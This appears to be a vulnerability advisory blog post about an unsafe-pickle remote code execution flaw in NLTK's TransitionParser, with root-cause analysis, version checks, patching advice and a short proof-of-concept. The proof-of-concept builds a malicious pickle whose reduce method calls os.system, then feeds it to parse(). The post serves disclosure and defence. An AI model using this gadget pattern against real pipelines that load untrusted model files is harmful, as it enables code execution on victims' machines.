Listen to this Post
The NLTK library’s TransitionParser.parse() method deserializes model files using pickle_load() with the default restricted=False parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a RestrictedUnpickler class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched in all versions up to 3.9.4.
The root cause lies in nltk/parse/transitionparser.py (lines 542-557). The parse() method calls pickle_load(f) without restricted=True, routing through WarningUnpickler which inherits from pickle.Unpickler and does NOT override find_class(). This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets such as os.system or subprocess.Popen.
The vulnerability chain is defined in nltk/picklesec.py:
- pickle_load(file, restricted=False) defaults to the unsafe path: return WarningUnpickler(file, context=context).load()
- WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is the standard pickle.Unpickler.load().
- In contrast, restricted=True would invoke RestrictedUnpickler, which blocks all globals and is safe.
This is not by design: NLTK intentionally created RestrictedUnpickler to block unsafe deserialization, and the restricted=True parameter exists in the API, but it is never used by any production code path. All call sites (transitionparser.py:557, parse/chartparser_app.py:816, 2273, 2311) use the default restricted=False.
Attack surface: Entry point TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation. An attacker places a malicious pickle file at a known location; the victim calls parser.parse(sentences, “/path/to/malicious_model.pkl”); pickle_load() deserializes with restricted=False; standard pickle gadget chain executes arbitrary Python code with the victim’s privileges. This affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.
The impact is Remote Code Execution with the privileges of the user running the NLTK-dependent application. Changing line 557 to pickle_load(f, restricted=True) causes RestrictedUnpickler to raise an UnpicklingError, blocking execution – confirming the safe path prevents the attack.
DailyCVE Form:
Platform: NLTK (Python)
Version: <=3.9.4
Vulnerability: Deserialization RCE
Severity: Critical
date: 2024-12-01
Prediction: Already patched (3.10.0+)
What Undercode Say:
Analytics:
- Check NLTK version:
python3 -c “import nltk; print(nltk.__version__)”
- Search for vulnerable call sites:
grep -rn “pickle_load(” nltk/parse/ –include=”.py”
- Test if restricted flag is used:
python3 -c “from nltk.parse.transitionparser import TransitionParser; import inspect; print(inspect.getsource(TransitionParser.parse))”
Exploit: (Educational Purposes!)
import pickle
import os
from nltk.parse.transitionparser import TransitionParser
Create malicious pickle with RCE payload
class Exploit:
def <strong>reduce</strong>(self):
return (os.system, ('touch /tmp/nltk_poc_triggered',))
with open('/tmp/malicious_model.pkl', 'wb') as f:
pickle.dump(Exploit(), f)
Trigger vulnerable code path (requires algorithm argument in ≤3.9.4)
parser = TransitionParser('arc-standard')
parser.parse([], '/tmp/malicious_model.pkl') loads unsafely – creates /tmp/nltk_poc_triggered
On unpatched versions, the file is created; on 3.10.0+ it raises UnpicklingError.
Protection:
- Upgrade to NLTK 3.10.0 or later.
- If upgrading is not possible, manually edit all call sites to use restricted=True (transitionparser.py:557, chartparser_app.py:816, 2273, 2311).
- Alternatively, implement a custom allowlist in RestrictedUnpickler.find_class() to permit only safe modules (e.g., numpy, sklearn) if older models are required.
Impact:
Remote Code Execution with the privileges of the current user. Attackers can compromise research notebooks, data pipelines, and any application that loads untrusted NLTK model files, leading to data theft, system takeover, or further lateral movement within an organization.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
